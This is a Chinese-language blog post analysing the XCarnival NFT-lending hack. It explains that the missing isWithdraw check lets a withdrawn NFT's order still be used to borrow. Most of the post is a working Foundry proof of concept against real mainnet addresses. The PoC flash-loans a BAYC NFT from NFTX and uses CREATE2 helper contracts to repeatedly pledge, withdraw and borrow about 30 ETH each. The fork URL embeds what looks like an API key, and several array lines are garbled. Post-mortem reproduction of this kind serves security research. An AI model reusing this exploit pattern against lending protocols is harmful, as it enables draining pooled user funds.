本文作者:bixia1994[1]
https://twitter.com/XCarnival_Lab/status/1541226298399653888
https://tools.blocksec.com/tx/eth/0x61a6a8936afab47a3f2750e1ea40ac63430a01dd4f53a933e1c25e737dd32b2f
好像是 borrow 函数的问题,抵押 NFT 借 ETH => pledgeAndBorrow
如下的 borrow 函数写的有问题,权限没做好。
核心 bug 是 borrowVerify 里面没有校验 order.isWithdraw, doTransferOut 有 callback,withdraw 函数没有删除 orderId,而只是更新了 order.isWithdraw=true. doTransferOut 的 callback 并不能直接使用,因为在 call 的过程中,它限制死了 gasLimit:5000,所以没办法通过经典的 receive 方式来重入。
if (underlying == ADDRESS_ETH) {
(bool result, ) = account.call{value: amount, gas: transferEthGasCost}("");
require(result, "Transfer of ETH failed");
}
攻击者的思路跟我写的思路不是很一致,攻击者比较有钱,自己先去买了一个 APE,而我这里使用了 NFTX 的闪电贷[2]功能,贷出来了一个 APE。但是我付出的成本也比攻击者高,需要给 NFTX 大约 8 个 ETH 的手续费。ETH amount: 292688541555386643017 fee: 300-292.68=7.32 eth
pragma solidity 0.8.12;
import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";
contract Addrs is DSTest, stdCheats {
address public constant XNFT = 0xb14B3b9682990ccC16F52eB04146C3ceAB01169A;
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant XTOKEN = 0xB38707E31C813f832ef71c70731ed80B45b85b2d;
address public constant controller =
0xB7E2300E77D81336307E36Ce68D6909e43f4D38A;
address public constant APE = 0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D;
address public constant NFTX = 0xEA47B64e1BFCCb773A0420247C0aa0a3C1D2E5C5;
address public constant assetAddr =
0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D;
address public constant routerV2 =
0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
}
interface RouterLike {
function swapETHForExactTokens(uint256, address[] memory, address, uint256)
external
payable;
function swapExactETHForTokens(uint256, address[] memory, address, uint256)
external
payable;
}
interface NFTXLike {
function flashLoan(address, address, uint256, bytes memory) external;
function redeemTo(uint256, uint256[] memory, address)
external
returns (uint256[] memory);
function mintTo(uint256[] memory, uint256[] memory, address)
external
returns (uint256);
function allHoldings() external view returns (uint256[] memory);
function vaultFees()
external
view
returns (uint256, uint256, uint256, uint256, uint256);
}
interface ERC20Like {
function approve(address, uint256) external;
function balanceOf(address) external view returns (uint256);
}
interface ERC721Like {
function setApprovalForAll(address, bool) external;
function safeTransferFrom(address, address, uint256) external;
function transferFrom(address, address, uint256) external;
function transfer(address, uint256) external;
}
interface XNFTLike {
function pledgeAndBorrow(address, uint256, uint256, address, uint256)
external;
function withdrawNFT(uint256 orderId) external;
function ordersOfOwnerByIndex(address, uint256)
external
view
returns (uint256);
function ordersOfOwnerOffset(address, uint256, uint256)
external
view
returns (uint256[] memory);
}
interface XTOKENLike {
function borrow(uint256, address, uint256) external;
function totalCash() external view returns (uint256);
}
contract Hack is Addrs {
uint256 public tokenId;
uint256 public orderId;
constructor() {
ERC721Like(APE).setApprovalForAll(XNFT, true);
ERC721Like(APE).setApprovalForAll(NFTX, true);
ERC20Like(NFTX).approve(NFTX, type(uint256).max);
ERC20Like(NFTX).approve(routerV2, type(uint256).max);
}
function start() public {
/// flashloan NFTX token, redeem APE
(,, uint256 _targetRedeemFee,,) = NFTXLike(NFTX).vaultFees();
NFTXLike(NFTX).flashLoan(
address(this), NFTX, 1 ether + _targetRedeemFee, ""
);
emit log_named_uint("ETH amount", address(this).balance);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
)
external
returns (bytes4)
{
return this.onERC721Received.selector;
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
)
external
returns (bytes32)
{
/// logic: redeem APE
uint256[] memory ids = NFTXLike(NFTX).allHoldings();
uint256[] memory specificIds = new uint256[](1 "] memory specificIds = new uint256[");
specificIds[0] = ids[0];
tokenId = ids[0];
NFTXLike(NFTX).redeemTo(1, specificIds, address(this));
scheduler();
/// mintTo Token
uint256[] memory amounts = new uint256[](1 "] memory amounts = new uint256[");
amounts[0] = 1;
NFTXLike(NFTX).mintTo(specificIds, amounts, address(this));
/// swap eth for tokens
emit log_named_uint("amount", amount);
emit log_named_uint("fee", fee);
address[] memory path = new address[](2 "] memory path = new address[");
path[1] = NFTX;
path[0] = WETH;
RouterLike(routerV2).swapETHForExactTokens{value: address(this).balance}(
amount + fee - ERC20Like(NFTX).balanceOf(address(this)),
path,
address(this),
block.timestamp
);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function scheduler() public {
/// pledgeandborrow
for (uint256 i = 0; i < 10; i++) {
address helper = address(
uint160(
uint256(
keccak256(
abi.encodePacked(
hex"ff", address(this), bytes32(i), keccak256(type(Helper).creationCode)
)
)
)
)
);
ERC721Like(APE).transferFrom(address(this), helper, tokenId);
new Helper{salt: bytes32(i)}();
}
}
function borrow(uint256, address, uint256) public {}
function withdraw() public {
XNFTLike(XNFT).withdrawNFT(orderId);
}
receive() external payable {
emit log_named_uint("ETH amount", msg.value);
}
}
contract Helper is Addrs {
constructor() {
uint256 tokenId = Hack(payable(msg.sender)).tokenId();
ERC721Like(APE).setApprovalForAll(XNFT, true);
XNFTLike(XNFT).pledgeAndBorrow(APE, tokenId, 721, msg.sender, 0);
uint256 orderId = XNFTLike(XNFT).ordersOfOwnerByIndex(address(this), 0);
XNFTLike(XNFT).withdrawNFT(orderId);
XTOKENLike(XTOKEN).borrow(orderId, address(this), 30 ether);
payable(msg.sender).transfer(address(this).balance);
ERC721Like(APE).transferFrom(address(this), msg.sender, tokenId);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
)
external
returns (bytes4)
{
return this.onERC721Received.selector;
}
}
contract POC is Addrs {
Vm public vm = Vm(HEVM_ADDRESS);
Hack public hack;
function setUp() public {
vm.createSelectFork(
"https://eth-mainnet.g.alchemy.com/v2/UoUd0f-yRJTSPKkSLInhilV7XDHHJLPK",
15028847
);
hack = new Hack();
vm.label(NFTX, "NFTX");
vm.label(APE, "APE");
vm.label(XNFT, "XNFT");
vm.label(XTOKEN, "XTOKEN");
vm.label(routerV2, "routerV2");
}
function test_Start() public {
hack.start();
}
}
[1]
bixia1994: https://learnblockchain.cn/people/3295
[2]
闪电贷: https://learnblockchain.cn/article/1926